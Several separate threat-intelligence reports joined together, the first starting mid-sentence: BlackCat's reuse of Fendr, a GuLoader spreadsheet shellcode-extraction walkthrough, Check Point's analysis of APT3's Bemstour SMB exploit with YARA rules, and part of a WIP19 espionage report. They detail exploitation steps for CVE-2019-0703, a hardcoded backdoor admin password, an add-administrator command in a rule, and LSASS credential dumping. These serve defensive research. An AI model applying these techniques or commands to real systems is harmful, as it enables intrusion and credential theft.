shut down their operations, it was only a matter of time before another ransomware group took over the niche. Knowledge of malware development, a new written-from-scratch sample in an unusual programming language, and experience in maintaining infrastructure is turning the BlackCat group into a major player on the ransomware market. Here we present a new data point connecting BlackCat with past BlackMatter activity – the reuse of the exfiltration malware Fendr. The group modified the malware for a new set of victims collected from data stores commonly seen in industrial network environments. BlackCat attempted to deploy the malware extensively within at least two organizations in December 2021 and January 2022. In the past, BlackMatter prioritized collection of sensitive information with Fendr to successfully support their double coercion scheme, just as BlackCat is now doing, and it demonstrates a practical but brazen example of malware re-use to execute their multi-layered blackmail. The modification of this reused tool demonstrates a more sophisticated planning and development regimen for adapting requirements to target environments, characteristic of a more effective and experienced criminal program.
# oleObject1.bin – OLe10nATive – shellcode I came across a GuLoader .xlsx document the other day. It didn’t have any VBA or XLM macros, locked or hidden or protected sheets, or anything obvious like that. Instead, this is the only thing I saw in oledump. It was a bit odd. So let’s see what it takes to tear apart a document such as this. A special shout out to @ddash_ct! He helped point me in the right direction for extracting the shellcode. ## oleObject1.bin Upon unzipping the file, we can find oleobject1.bin inside the XL/EMBEDDINGS folder. If you will recall, OLE stands for Object Linking and Embedding. Microsoft documents allow a user to link or embed objects into a document. An object that is linked to a document will store that data outside of the document. If you update the data outside of the document, the link will update the data inside of your new document. An embedded object becomes a part of the new file. It does not retain any sort of connection to the source file. This is a perfect way for attackers to hide or obfuscate code inside a malicious document. ## OLe10nATive stream oledump.py showed that the oleObject1.bin contained a stream called OLe10nATive. These are the storage objects that correspond to the linked or embedded objects. That stream is present when data from the embedded object in the container document in OLE1.0 is converted to the OLE2.0 format. We can extract this stream by using oledump to select object A1 and dump it to a file. ## Looking for shellcode Now that we’ve extracted the stream, how are we going to find anything useful in here? This is where the advice from @ddash_ct came in handy. He searched this stream output for a hex string like E8 00 00 00 00 and was able to extract the shellcode from there. Shellcode cannot assume it will be executed in any particular memory location. It cannot use any hard-coded addresses for either its code or data. This means it must be position-independent. A hex string such as E8 00 00 00 00 can be an indicator of where position-independent code may start. While the example below is not from our sample, the opcode E8 00 00 00 00 is translated into the instruction call $+5. This is used to push the current address in memory onto the stack. This can serve as a sort of anchor point for the rest of the code execution. We will not find the exact E8 00 00 00 00 pattern in our file. Instead, we can search for a pattern like 00 00 and something interesting pops up at 0x00265D41. While we do see a similar pattern, there is a significant difference. The opcode E8 is making a call and will be transferring control to location 0x000000AF. However, the location of AF is relative to E8’s position in memory at run-time. It seems we may have an instance of position-independent code and it might be where some shellcode is hiding. All this is to say that hex location 0x265D41 is a likely candidate for our purposes. ## Extracting the shellcode From here on out, this will be a very similar process to getting shellcode from .rtf documents. We can load up ole10native.bin in scDbg with a start offset of 0x265D41. We know we’re on the right track because we can see the unhooked call to ExpandEnvironmentStringsW. Earlier blog posts showed that scDbg doesn’t work very well with ExpandEnvironmentStringsW. Instead, we can overwrite that with ExpandEnvironmentStringsA. To do so, we will need to unpack ole10native.bin. We do that by checking the box in scDbg for “Create Dump” and re-launch ole10native.bin using the same start offset of 0x265D41. scDbg will then save the dumped and unpacked file. In my case, it was called OLE10N~1.unpack. Open up the newly unpacked dump file and scroll to the bottom. You will see a variety of commands in plaintext. Offset 0x002660D9 begins the command for ExpandEnvironmentStringsW. Overwrite the appropriate location with an A and save the changes. Before we toss this into scDbg again, we are going to need a new start offset. This can be found at the beginning of this part of the shell code. Notice the pattern right before k.e.r.n.e.l.3.2. It also follows the E8 00 00 00 00 pattern. Toss our unpacked and edited binary into scDbg and enter 0x00266080 as the start offset. And when we do, the shellcode commands are revealed. Thanks for reading!
# UPSynergy: Chinese-American Spy vs. Spy Story ## Introduction Earlier this year, our colleagues at Symantec uncovered an interesting story about the use of Equation group exploitation tools by an alleged Chinese group named Buckeye (a.k.a APT3, or UPS team). One of the key findings in their publication was that variants of the Equation tools were used by the group prior to ‘The Shadow Brokers’ public leak in 2017. Moreover, it seems that APT3 developed its own in-house capabilities and equipped its attack tool with a 0-day that targeted the Windows operating system. Following these revelations, we decided to expand on Symantec’s findings and take a deeper look at Bemstour, the group’s exploitation tool. In our analysis, we try to understand the background environment in which it was created and provide our perspective of how it was developed. Our observations from the technical analysis allow us to provide evidence for a speculation that was formerly suggested by Symantec – APT3 recreated its own version of an Equation group exploit using captured network traffic. We believe that this artifact was collected during an attack conducted by the Equation group against a network monitored by APT3, allowing it to enhance its exploit arsenal with a fraction of the resources required to build the original tool. APT3 is known to be a long-standing and sophisticated threat actor, having a record of using advanced TTPs, such as leveraging zero-day exploits in its attacks. Such capabilities are consistent with former research by Intrusion Truth and Recorded Future, stating that the entity behind APT3 is the Chinese Ministry of State Security. That said, it wasn’t very clear so far whether the group developed its exploits in-house or acquired them elsewhere. In this publication, we deliver a glance into one possible modus operandi – the Chinese collect attack tools used against them, reverse engineer, and reconstruct them to create equally strong digital weapons. ### Key Findings - The group’s exploitation tool named Bemstour makes use of a variant of a single Equation group exploit. Our research shows that the particular equivalent to this exploit is EternalRomance. APT3 developed their own implementation, possibly based on their analysis and understanding of EternalRomance’s leveraged vulnerability. - The group attempted to develop the exploit in a way that allowed it to target more Windows versions, similar to what was done in a parallel Equation group exploit named EternalSynergy. This required looking for an additional 0-day that provided them with a kernel information leak. All of this activity suggests that the group was not exposed to an actual NSA exploitation tool, as they would then not need to create another 0-day exploit. - We decided to name APT3’s bundle of exploits UPSynergy, since, much like in the case of Equation group, it combines two different exploits to expand the support to newer operating systems. - The underlying SMB packets used throughout the tool execution were crafted manually by the developers, rather than generated using a third-party library. As a lot of these packets were assigned with hardcoded and seemingly arbitrary data, as well as the existence of other unique hardcoded SMB artifacts, we can assume that the developers were trying to recreate the exploit based on previously recorded traffic. - If network traffic was indeed used by the group as a reference, the traffic was likely collected from a machine controlled by APT3. This means either a Chinese machine that was targeted by the NSA and monitored by the group, or a machine compromised by the group beforehand on which foreign activity was noticed. We believe the former is more likely, and in that case could be made possible by capturing lateral movement within a victim network targeted by the Equation group. - Finding a 0-day info leak, recreating the exploit based on the aforementioned vulnerability, and utilizing a lot of internal undocumented structures of SMB in the implants implies that there was a similar expertise with and analysis performed on SMB drivers (with an eye to exploiting them) on the Chinese side, roughly at the same time it was widely used by the NSA. This, to some extent, suggests a narrative where China and the US are engaged in a cyber arms race to develop new exploits. In the following sections, we provide the technical basis for our conclusions, by taking a tour through the tool’s internals, its underlying exploit, and the implant’s nuts and bolts. We also dive deeply into the root cause for the 0-day found by APT3. To the best of our knowledge, this hasn’t been described anywhere else. ## Overview of the Bemstour Tool Bemstour is a tool developed by APT3 to gain remote code execution on a victim’s machine using UPSynergy – a combination of an exploit based on EternalRomance and a 0-day found by the group itself. The goal is to deploy a payload on the victim’s machine which is injected to a running process using an implant. This implant is highly similar to the Equation group’s DoublePulsar. The tool is meant to be run from a command line and provides two modes of operation. In the first, the attacker sends a local file which will be executed on the victim machine with a given command line argument. In the second mode, the attacker runs an arbitrary shell command without the need to send an actual file. These functionalities are supported in both 32 and 64-bit versions. According to Symantec, the 64-bit versions were leveraged solely for executing shell commands, mostly to generate new user accounts in the victims’ environments. ### Traffic Generation One thing we noted about Bemstour’s code is the way it generates and sends traffic to the victim’s machine. In particular, we noticed that all packets are built manually, i.e., the developers created structs to represent the various SMB packets to send to the victim, and issued them over plain TCP sockets. As part of the manual crafting of SMBs, the developers assigned them with values hardcoded in the binary. Some of these reside within the data section in the form of custom structs. When such a hardcoded assignment is required, an allocated SMB and the hardcoded structure are issued as arguments to a specific function, which in turn takes the custom struct’s field values and assigns them to the corresponding SMB fields. When looking at a structure like this, it’s noteworthy that some of its fields represent unique values that are generated per SMB connection. One such value is the UID, which can be declared by the client and therefore could be chosen arbitrarily by Bemstour. In this case, there are multiple instances where this field is given hardcoded unique values in a particular range, which may hint that they were copied from a source like recorded network traffic. We found other hardcoded structures that are actually not used in any place in the code, but whose values and order imply the field they represent. This suggests that these are header fragments that were left as residues in the binary from another source. There are additional hardcoded artifacts that may provide some insight into the tool’s nature. For example, the PDB path points out that the tool’s source name is “SMB Master,” and it was part of a project called “SMB_FOR_ALL_Ultimate-signature.” Based on this, we can speculate that the project was indeed about repurposing an SMB exploit to target “ALL” (or at least more) versions of Windows. Finally, more unused strings show something that looks like a concatenation of a computer name, user name, and perhaps domain name. It is unclear where they come from, but again, strengthens the idea that this network entity was part of a referenced traffic capture. ## Overview of the Eternal* Exploits Before we take a further look at the details of APT3’s exploit implementation, we need to understand the various Eternal exploits that were incorporated into the Lost in Translation leak by The Shadow Brokers. Back in 2017, when this leak was released, four Eternal exploits were uncovered: EternalBlue, EternalChampion, EternalRomance, and EternalSynergy. Both EternalRomance and EternalSynergy targeted mostly Windows 7 systems (as well as lower versions of Windows NT where SMBv1 is located). One of the problems in adapting EternalRomance to higher Windows versions was a patch introduced in Windows 8 which eliminated the possibility to use an information leak vulnerability leveraged by it. To deal with this problem, the Equation group came up with an upgraded version where the problematic info leak was replaced with one that could be exploited on Windows 8. Essentially, there was nothing new there, as the info leak exploit was already used in EternalChampion and other parts of EternalRomance remained the same. This new hybrid exploit was named EternalSynergy, suggesting the way it was built – a synergy of two exploits. When it comes to the exploit in the Bemstour tool, it is evident that there’s an attempt to leverage the same vulnerability exploited by EternalRomance. At the same time, there is the use of a whole new information leak exploit, which was in fact a 0-day found by APT3. As we will see in the upcoming section, this particular information leak is quite robust and allowed the group to upgrade their version of EternalRomance to use in versions higher than Windows 7. In this sense, APT3 crafted its own exploit from other exploits – a tactic very similar to one used by the Equation group. As this threat group also uses the name UPS team, we decided to name their version of the exploit bundle UPSynergy. ## Root Cause Analysis of CVE 2019-0703 According to Microsoft, CVE-2019-0703 is “an information disclosure vulnerability [that] exists in the way the Windows SMB Server handles certain requests. An authenticated attacker who successfully exploited this vulnerability could craft a special packet, which could lead to information disclosure from the server.” To exploit the vulnerability, an attacker would have to be able to authenticate and send SMB messages to an impacted Windows SMB Server. The security update addresses the vulnerability by correcting how Windows SMB Server handles authenticated requests. Our analysis shows a slightly different picture. The vulnerability is in fact a logical bug related to querying information from the Windows Named Pipes mechanism, and not a vulnerability in the SMB protocol nor its implementation. While it can be triggered using SMB, there are other ways to leverage it, e.g., using the NtQueryInformationFile Windows API call that is unrelated to SMB. The bug resides within npfs.sys (Name Pipe File System driver) in a function named NpQueryInternalInfo. The latter is used to query named pipes and return a value called a file reference number, which according to Microsoft “MUST be assigned by the file system and is unique to the volume on which the file or directory is located.” However, our analysis shows that the returned value is not a file reference number, but rather a pointer to a kernel structure named CCB (Client Control Block). This is an undocumented struct defined in npfs.sys, which has a partial definition (named NP_CCB) provided by the ReactOS project. Clearly, this is not the intended value to be returned in this case, and the leak of this struct discloses useful information that can be leveraged by attackers. To trigger this information disclosure vulnerability, a call with the following arguments is made to the NtQueryInformationFile stub in ntdll.dll: - FileHandle – Handle to a named pipe (for example “\\.\pipe\browser”). - FileInformationClass – FileInternalInformation (equals 0x6). As already mentioned, it is also possible to trigger this vulnerability via SMB, as was used by APT3. The method was used to determine the bitness of the attacked operating system and overwrite (using a write primitive) a field in the leaked structure, which eventually provided the group with remote code execution. To leverage the vulnerability, you must first establish an SMB connection to a named pipe on the victim’s machine. Next, it’s possible to query information about the opened pipe using the 0x32 SMB command (SMB_COM_TRANSACTION2) and the 0x7 subcommand (TRANS2_QUERY_FILE_INFORMATION). The latter has a field named InformationLevel which describes the types of information that can be retrieved by the server. Furthermore, if the server declared a capability named Infolevel Passthru in its Negotiate Response field as a part of an earlier negotiation (a capability usually provided by default), more types of information can be retrieved, namely ones that provide native file information on the server. In this case, the former capability allows it to provide a code number named a Pass-thru Information Level by the client, which maps directly to another Windows NT numerical value called an Information Class on the server. This value corresponds to the FileInformationClass parameter of the NtQueryInformationFile API, which specifies what type of file information to query from a server destined file object. To use one of the pass-thru Information Levels to request a corresponding Information Class for a file on the server, it is sufficient to add the value 0x3e8 (SMB_INFO_PASSTHROUGH) to the requested Information Class. As an example, if we take the FileInternalInformation Information Class (which has the value 6) and want to get the corresponding Information Level, we just need to add the previously mentioned value to it, resulting in the value 0x3ee. In our case, using this very same Information Level by placing it as a parameter of the TRANS2_QUERY_FILE_INFORMATION subcommand triggers the vulnerability by causing the invocation of the NtQueryInformationFile from the srv.sys driver (SMB driver). The latter in turn calls the vulnerable NpQueryInternalInfo from npfs.sys. Consequently, when we issue a Trans2 request to query for a file info using the previously mentioned Info Level, we get a CCB leaked pointer in the response. To examine the described root cause for the vulnerability from another angle, we can take a look at the diff between the patched and unpatched code in npfs.sys. As can be seen in the vulnerable code, the out_buffer argument returned to the caller and then to the client contains a pointer to the ClientControlBlock (NP_CCB) argument instead of the file reference number. This is fixed in the patched code, where offsets 0xa0 and 0xa4 from ClientControlBlock are written to the out_buffer instead, thus returning the actual intended file reference number to the caller and client. As mentioned previously, the information obtained from this info leak can give us the ability to execute code on the victim machine, using another write primitive. To understand how this is possible, we need to take a closer look at the CCB structure. One of its members points to yet another undocumented struct, which we will denote as ‘struct x’. This struct contains a pointer to a function that is called when the connection to the named pipe is terminated, which we’ll refer to as the ‘pipe destructor function’. In APT3’s implementation of the exploit, the HAL heap is written with both shellcode and a rogue instance of ‘struct x’. The latter simply contains a pointer to the shellcode in the position of the ‘pipe destructor function’. Therefore, when we use a write primitive and know the whereabouts of the leaked CCB structure, we can overwrite its pointer to ‘struct x’ so that it points to the rogue instance. After the connection is closed, the shellcode is triggered and the attacker can run arbitrary code on the victim’s machine. ## Comparison of UPSynergy and Eternal Romance Implementations One of the observations we made during our analysis of Bemstour was that its main exploit targets only a particular vulnerability that overlaps with one used by the Equation group. This vulnerability is rooted in a type confusion bug leveraged in a similar fashion in the EternalRomance exploit, which was then reused together with other exploits in EternalSynergy. As a result of this type confusion between SMB messages, the server considers an unrelated SMB message as part of an SMB Transaction of a different type and activates the wrong type of SMB handler. This handler in turn shifts the Transaction struct’s pointer to the incoming data buffer by the amount of data received in the SMB message. Because the pointer value was shifted by the wrong handler, data of further SMB messages (which are treated by the correct type of handler) can be potentially written outside the boundaries of the incoming data buffer. If there was successful grooming (i.e., the heap was correctly shaped beforehand), this out-of-bound write may allow us to overwrite an adjacent SMB Transaction structure. Instead of going through every detail of APT3’s exploit, the table below compares the underlying techniques used by EternalRomance vs. those used by UPSynergy. | Technique | EternalRomance | APT3 Exploit (UPSynergy) | |-----------|----------------|---------------------------| | Determine the OS Type | Determined from the server’s session SetupAndX response | Same technique. | | Determine the OS Bitness | Uses a leaked pool header structure that contains parameters from which the OS architecture can be inferred. | Uses the address of the leaked CCB structure to infer the range in which it resides and the underlying architecture. | | Grooming Technique (Heap Shaping) | Uses 2 types of allocations with different sizes, named “bride” and “groom.” Another technique is used for OS versions prior to Windows 7. | Uses “bride” allocations only, with a different allocation size. | | Leaked Object | Leaks a kernel object named Transaction (corresponding to an SMB Transaction). | Leaks a kernel object named CCB (Client Control Block). | | OOB Write Vulnerability | A result of a type confusion bug, as outlined above. | Same vulnerability. | | Write-What-Where primitive | Can be achieved by overwriting the input buffer pointer of a target Transaction structure, as outlined above. | Same technique. | | Read-What-Where primitive | Can be achieved by overwriting the output buffer pointer of a target Transaction structure, as outlined above. | APT3 doesn’t use this primitive. | | RWE Cave | Uses an RWE page in the srv.sys memory section. | Uses HAL’s heap. | | First Shellcode Execution | Overwrites an unimplemented SMB command pointer in the SMB command handler table, and sends an SMB transaction for this command to execute a handler (which is in fact shellcode). | Overwrites a named pipe connection handler function which executes after the connection is closed. | In addition, we conducted a quantitative analysis of various actions performed during both exploits, as can be seen in the following table: | Parameter | EternalRomance | APT3 Exploit (UPSynergy) | |-----------|----------------|---------------------------| | Info leak exploit usage | 2 times | 1 time | | Usage of a write-what-where primitive | 24 times | 3 times | | Usage of a read-what-where primitive | 4 times | Not used | | Number of attempts to overwrite a Transaction structure in case of failure on the first try | 2 attempts | 0 attempts | From this table, we can infer that the UPSynergy information leak significantly eases the exploitation process, as the leaked CCB object described earlier contains almost a direct code execution primitive. In EternalRomance, we could see the usage of a read-what-where primitive, mainly used for dereferencing child structs of a leaked Transaction struct. In the case of UPSynergy, that would be redundant. Having said that, there is a slight chance of instability in the grooming implementation of UPSynergy, where a write to an unallocated page might lead to an unintended BSOD. This will not happen in EternalRomance (point for the Equation group). ## Comparison of APT3 and Equation Group Implants The last action to take place following the exploitation is the set-up and invocation of an implant shellcode. The purpose is to serve as a basic backdoor, allowing the attacker to issue a further kernel mode payload and execute it on the target machine. In the case of both APT3 and Equation group, an implant named DoublePulsar is used. This implant was leaked by The Shadow Brokers in 2017. In both cases, there is a very similar flow to the implant’s operation – a hook is set up for a particular SMB handler function to handle invalid SMBs. This hook searches for one of three commands in a particular SMB field and executes a corresponding function for each one. One of the supported commands is responsible for accepting further shellcode and running it – the last stage payload. At this point, the attacker may issue an arbitrary piece of code for execution in the kernel space. As far as APT3’s implant is concerned, it seems likely that the DoublePulsar code was reused as is. The code is not executed directly, but has several layers of obfuscation. Essentially, the Equation group’s DoublePulsar code is wrapped with an APT3 position-independent crypter & loader. ### 1st Stage – DoublePulsar Loader The very first stage of the implant’s code is a custom loader written by APT3, which extracts an encrypted version of DoublePulsar code from incoming SMB packets, and decrypts and executes it. This is in fact a self-modifying piece of code, i.e., before it actually handles any of the aforementioned functionalities, it must decrypt subsequent parts of itself. The code is wrapped in two layers using simple crypters, so the first crypter decodes the second, and the latter decodes the actual loader code. After these phases are completed, the loader starts its operation which is broken down into the following steps: 1. Dynamic function resolution. 2. Determine the OS version. 3. Locate the SrvTreeConnectList in sys. 4. Extract the encoded shellcode from a Transaction object list. 5. Execute the shellcode. ### Step 1: Dynamic Function Resolution As this is essentially position-independent code, we need to resolve some API functions dynamically, which are then used during runtime. First, we must locate the base address of the ntoskrnl.exe image. We do this by obtaining the KPCR structure from the FS register and use offset 0x38 which points to KIDTENTRY *IDT (i.e., the interrupt dispatch table). As we know the latter resides within ntoskrnl.exe and is aligned to the beginning of a page, so it is sufficient to walk back in page multiples until the start of the page is equivalent to the magic number of a PE. After that is done, it’s possible to parse the export table of ntoskrnl.exe to achieve several basic API function addresses. A common technique is to parse the export tables of a relevant loaded image where these functions reside (e.g., ntoskrnl.exe), hash the names of their exports, and compare them to hardcoded ones. The latter represent the names of the functions that require address resolution. In this case, we see that the hashing function differs from that of the Equation group, resulting in different name hashes. ### Step 2: Determining the OS Version Next, the loader invokes the RtlGetVersion function to obtain information about the underlying Windows version. It then assigns a numeric value to a field in a particular struct maintained by the loader, which corresponds to the OS version. The value is in fact an offset into an undocumented SMB struct called CONNECTION, which will result in a field that points to yet another undocumented struct called PAGED_CONNECTION. How this struct is used will be evident in subsequent steps. ### Step 3: Locating sys and SrvTreeConnectList At this point, the loader tries to find Srv.sys (the SMB driver’s image) and parse it. This is done to locate a global undocumented list named SrvTreeConnectList. Srv.sys is located using ZwQuerySystemInformation to obtain a list of loaded module information (where a base address of the loaded images is specified), while the struct is found by going through Srv.sys’ .data section and looking for several identifying numeric parameters. ### Step 4: Extracting Encoded Shellcode from a Transaction Object List After the list is found, it is used to go through several linked SMB structures to finally obtain a list of Transaction structs. The latter allows us to access the data obtained from relevant SMB Trans packets which contains the subsequent shellcode. The chain of these structures can be seen in the figure below. The main takeaway is that all of these structures are undocumented – i.e., the developers of APT3 must have done quite a bit of reverse engineering on Srv.sys to infer them (on more than one Windows version, as evident from the offset to PAGED_CONNECTION). This effort is very similar to the one invested by the NSA to find the various Eternal exploits around the same time. ### Step 5: Executing the Shellcode After the shellcode is obtained and decoded, it is finally executed. This leads to the next stage, which is yet another piece of self-modifying PIC. However, in this case, most of the code that is unravelled after two layers of decoding is a variant of the original DoublePulsar, as used by the Equation group. ### 2nd Stage – DoublePulsar Installation & Hook In this stage of the implant’s operation, yet another shellcode runs. As previously mentioned, this code is obfuscated with two layers of crypters, the same ones used to wrap the loader in the first stage. The code that is unpacked was mostly not written by APT3. The first part of the resulting PIC seems to be custom-made and invokes a system thread that works periodically to form paged allocations of various sizes. It can run in rounds indefinitely, creating 256 allocations for each round and counting the number that get an address within the range of 64 bytes from the point in which the first shellcode was written. Only if there are more than 64 ‘faulty’ allocations can this loop terminate. The purpose is not fully clear, but could be an attempt to avoid paging out the shellcode buffers from the paged pool. The other part of this internal payload installs DoublePulsar. This is done by replacing a function pointer to point at a hook function instead of the original function named SrvTransactionNotImplemented. The replacement of this pointer happens in a hard-coded table in the SMB driver (srv.sys) named SrvTransaction2DispatchTable. In essence, both APT3 and the Equation group take similar steps to achieve this goal. ### 3rd Stage – APC Injector The last stage of the implant is a piece of code that performs APC injection of a hardcoded routine to the “services.exe” process in the user space. In turn, this routine can write a given payload to a new file and execute it, or run a shell command. In both cases, the API used for the execution is WinExec. It’s worth noting that while an arbitrary command can be issued by the user, there are several hardcoded commands that the shellcode runs through the invoked APC in the user space. One of these commands adds a new user as local admin with a hardcoded name and password. In the sample analyzed for this publication, this username is cessupport and the password is 1qaz#EDC. The implementation of this part doesn’t resemble that of the Equation group (compared to their equivalent APC injector). It’s also different from the previous stages of APT3’s implant. For example, function resolution does not use string hashes anymore, but rather makes comparisons to strings stored in the stack. The allocations are no longer tagged and the overall choice of API functions for similar actions looks different. This may mean that there was another entity within the group that was involved in the development of this part, but not of previous ones. ## Conclusion In our research, we analyzed and compared the exploit development efforts done by two major actors in the APT landscape – the Equation group and APT3. While the former is known for its advanced and almost unparalleled capabilities in the field of vulnerability research, it is interesting to observe how other groups focus on similar research objectives, with a considerable degree of success. It’s not always clear how threat actors achieve their exploitation tools, and it’s commonly assumed that actors can conduct their own research and development or get it from a third party. In this case, we have evidence to show that a third (but less common) scenario took place – one where attack artifacts of a rival (i.e., Equation group) were used as the basis and inspiration for establishing in-house offensive capabilities by APT3. Although we can’t prove this beyond any doubt, we brought many facts and analysis findings to back up our speculations. We will continue our efforts to find the answers to these as well as any future questions that arise. Check Point protects against the exploits issued by the Bemstour tool with the IPS protection ‘Microsoft SMB Client Transaction Memory Corruption (MS10-020)’. We would like to thank Eyal Itkin for assisting in parts of the analysis during this research. ## IOCs **MD5:** F595228976CC89FFAC02D831E774CFA6 **SHA1:** 80143E32F887B2583B777DAEC5982FB5C2886FB3 **SHA256:** 0B28433A2B7993DA65E95A45C2ADF7BC37EDBD2A8DB717B85666D6C88140698A ### Yara Rules ```yara rule apt3_bemstour_strings { meta: description = "Detects strings used by the Bemstour exploitation tool" author = "Mark Lechtik" company = "Check Point Software Technologies LTD." date = "2019-06-25" sha256 = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a" strings: $dbg_print_1 = "leaked address is 0x%llx" ascii wide $dbg_print_2 = "========== %s ==========" ascii wide $dbg_print_3 = "detailVersion:%d" ascii wide $dbg_print_4 = "create pipe twice failed" ascii wide $dbg_print_5 = "WSAStartup function failed with error: %d" ascii wide $dbg_print_6 = "can't open input file." ascii wide $dbg_print_7 = "Allocate Buffer Failed." ascii wide $dbg_print_8 = "Connect to target failed." ascii wide $dbg_print_9 = "connect successful." ascii wide $dbg_print_10 = "not supported Platform" ascii wide $dbg_print_11 = "Wait several seconds." ascii wide $dbg_print_12 = "not set where to write ListEntry ." ascii wide $dbg_print_13 = "backdoor not installed." ascii wide $dbg_print_14 = "REConnect to target failed." ascii wide $dbg_print_15 = "Construct TreeConnectAndX Request Failed." ascii wide $dbg_print_16 = "Construct NTCreateAndXRequest Failed." ascii wide $dbg_print_17 = "Construct Trans2 Failed." ascii wide $dbg_print_18 = "Construct ConsWXR Failed." ascii wide $dbg_print_19 = "Construct ConsTransSecondary Failed." ascii wide $dbg_print_20 = "if you don't want to input password , use server2003 version.." ascii wide $cmdline_1 = "Command format %s TargetIp domainname username password 2" ascii wide $cmdline_2 = "Command format %s TargetIp domainname username password 1" ascii wide $cmdline_3 = "cmd.exe /c net user test test /add && cmd.exe /c net localgroup administrators test /add" ascii wide $cmdline_4 = "hello.exe \"C:\\WINDOWS\\DEBUG\\test.exe\"" ascii wide $cmdline_5 = "parameter not right" ascii wide $smb_param_1 = "browser" ascii wide $smb_param_2 = "spoolss" ascii wide $smb_param_3 = "srvsvc" ascii wide $smb_param_4 = "\\PIPE\\LANMAN" ascii wide $smb_param_5 = "Werttys for Workgroups 3.1a" ascii wide $smb_param_6 = "PC NETWORK PROGRAM 1.0" ascii wide $smb_param_7 = "LANMAN1.0" ascii wide $smb_param_8 = "LM1.2X002" ascii wide $smb_param_9 = "LANMAN2.1" ascii wide $smb_param_10 = "NT LM 0.12" ascii wide $smb_param_12 = "WORKGROUP" ascii wide $smb_param_13 = "Windows Server 2003 3790 Service Pack 2" ascii wide $smb_param_14 = "Windows Server 2003 5.2" ascii wide $smb_param_15 = "Windows 2002 Service Pack 2 2600" ascii wide $smb_param_16 = "Windows 2002 5.1" ascii wide $smb_param_17 = "PC NETWORK PROGRAM 1.0" ascii wide $smb_param_18 = "Windows 2002 5.1" ascii wide $smb_param_19 = "Windows for Workgroups 3.1a" ascii wide $unique_str_1 = "WIN-NGJ7GKNROVS" $unique_str_2 = "XD-A31C2E0087B2" condition: uint16(0) == 0x5a4d and (5 of ($dbg_print*) or 2 of ($cmdline*) or 1 of ($unique_str*)) and 3 of ($smb_param*) } ``` ```yara rule apt3_bemstour_implant_byte_patch { meta: description = "Detects an implant used by Bemstour exploitation tool (APT3)" author = "Mark Lechtik" company = "Check Point Software Technologies LTD." date = "2019-06-25" sha256 = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a" strings: $chunk_1 = { C7 45 ?? 55 8B EC 83 C7 45 ?? EC 74 53 56 C7 45 ?? 8B 75 08 33 C7 45 ?? C9 57 C7 45 C7 45 ?? 8C 4C 6F 61 } condition: any of them } ``` ```yara rule apt3_bemstour_implant_command_stack_variable { meta: description = "Detects an implant used by Bemstour exploitation tool (APT3)" author = "Mark Lechtik" company = "Check Point Software Technologies LTD." date = "2019-06-25" sha256 = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a" strings: $chunk_1 = { C7 85 ?? ?? ?? ?? 63 6D 64 2E C7 85 ?? ?? ?? ?? 65 78 65 20 C7 85 ?? ?? ?? ?? 2F 63 20 63 C7 85 ?? ?? ?? ?? 6F 70 79 20 C7 85 ?? ?? ?? ?? 25 77 69 6E C7 85 ?? ?? ?? ?? 64 69 72 25 C7 85 ?? ?? ?? ?? 5C 73 79 73 C7 85 ?? ?? ?? ?? 74 65 6D 33 C7 85 ?? ?? ?? ?? 32 5C 63 6D C7 85 ?? ?? ?? ?? 64 2E 65 78 C7 85 ?? ?? ?? ?? 65 20 25 77 C7 85 ?? ?? ?? ?? 69 6E 64 69 C7 85 ?? ?? ?? ?? 72 25 5C 73 C7 85 ?? ?? ?? ?? 79 73 74 65 C7 85 ?? ?? ?? ?? 6D 33 32 5C C7 85 ?? ?? ?? ?? 73 65 74 68 C7 85 ?? ?? ?? ?? 63 2E 65 78 C7 85 ?? ?? ?? ?? 65 20 2F 79 83 A5 ?? ?? ?? ?? 00 } condition: any of them } ```
# WIP19 Espionage: New Chinese APT Targets IT Service Providers and Telcos With Signed Malware **By Joey Chen and Amitai Ben Shushan Ehrlich, with additional insights from QGroup** ## Executive Summary A new threat cluster we track as WIP19 has been targeting telecommunications and IT service providers in the Middle East and Asia. We assess it is highly likely this activity is espionage-related and that WIP19 is a Chinese-speaking threat group. The threat cluster has some overlap with Operation Shadow Force but utilizes new malware and techniques. WIP19 utilizes a legitimate, stolen certificate to sign novel malware, including SQLMaggie, ScreenCap, and a credential dumper. ## Overview SentinelLabs has been monitoring a threat cluster we track as WIP19, characterized by the usage of a legitimate, stolen digital certificate issued by a company called “DEEPSoft.” Based on our investigations, WIP19 has been targeting telecommunications and IT service providers in the Middle East and Asia. Throughout this activity, the threat actor abused the certificate to sign several malicious components. Almost all operations performed by the threat actor were completed in a “hands-on keyboard” fashion, during an interactive session with compromised machines. This meant the attacker gave up on a stable C2 channel in exchange for stealth. Our analysis of the backdoors utilized, in conjunction with pivoting on the certificate, suggests portions of the components used by WIP19 were authored by WinEggDrop, a well-known Chinese-speaking malware author who has created tools for a variety of groups and has been active since 2014. The use of WinEggDrop-authored malware, stolen certificates, and correlating TTPs indicate possible links to Operation Shadow Force, as reported by TrendMicro and AhnLab. The activity we observed represents a more mature actor, utilizing new malware and techniques. We linked an implant dubbed “SQLMaggie,” recently described by DCSO CyTec, to this set of activity. SQLMaggie appears to be actively maintained and provides insights into the development timeline with hardcoded version names. In addition, we identified a number of other pieces of malware utilized by this threat actor. This report focuses on detailing the set of activity we track as WIP19 and provides further context around the usage of these new tools. ## Relationship between the malware, certificates, and creators ### Abusing Valid Digital Certificates WIP19 has been observed signing malware with a valid digital certificate issued for DEEPSoft Co., Ltd., a Korean company specializing in messaging solutions. The threat actor used the certificate to sign several malware components, some of which were tailor-made for specific targets. We assess that it is highly likely the certificate was stolen, as it was also used to sign legitimate software used by DEEPSoft in the past. Activity involving toolsets authored by WinEggDrop and signed with both legitimate and fake certificates has been previously reported on by AhnLab. It’s commonly understood that malware created by WinEggDrop is shared among several threat clusters, making it possible that these associated toolsets could also be in use by the WIP19 threat actor. ### Dumper Analysis Like many components utilized by WIP19, all their credential harvesting tools – consisting mainly of password dumpers – were signed using the DEEPSoft certificate. The main dumper used by the threat actor utilized open source projects to load an SSP to LSASS and then dump the process. WIP19’s password dumper consists of two components, one used as a loader, and the other as a dumper. On many of the instances observed, the dumper was executed using WMIEXEC. ### Loader Analysis The dumper loader component is a signed EXE file, internally dubbed `ssp_rpc_loader`, as indicated from the PDB path embedded within the file. As the name suggests, the loader uses RPC to load a malicious DLL file as an SSP (Security Support Provider), given as an argument. The loader appears to be taken from an open source project available on GitHub. ### SSP Analysis The actual SSP loaded is NanoDump, which is loaded into LSASS and creates a minidump of the process. 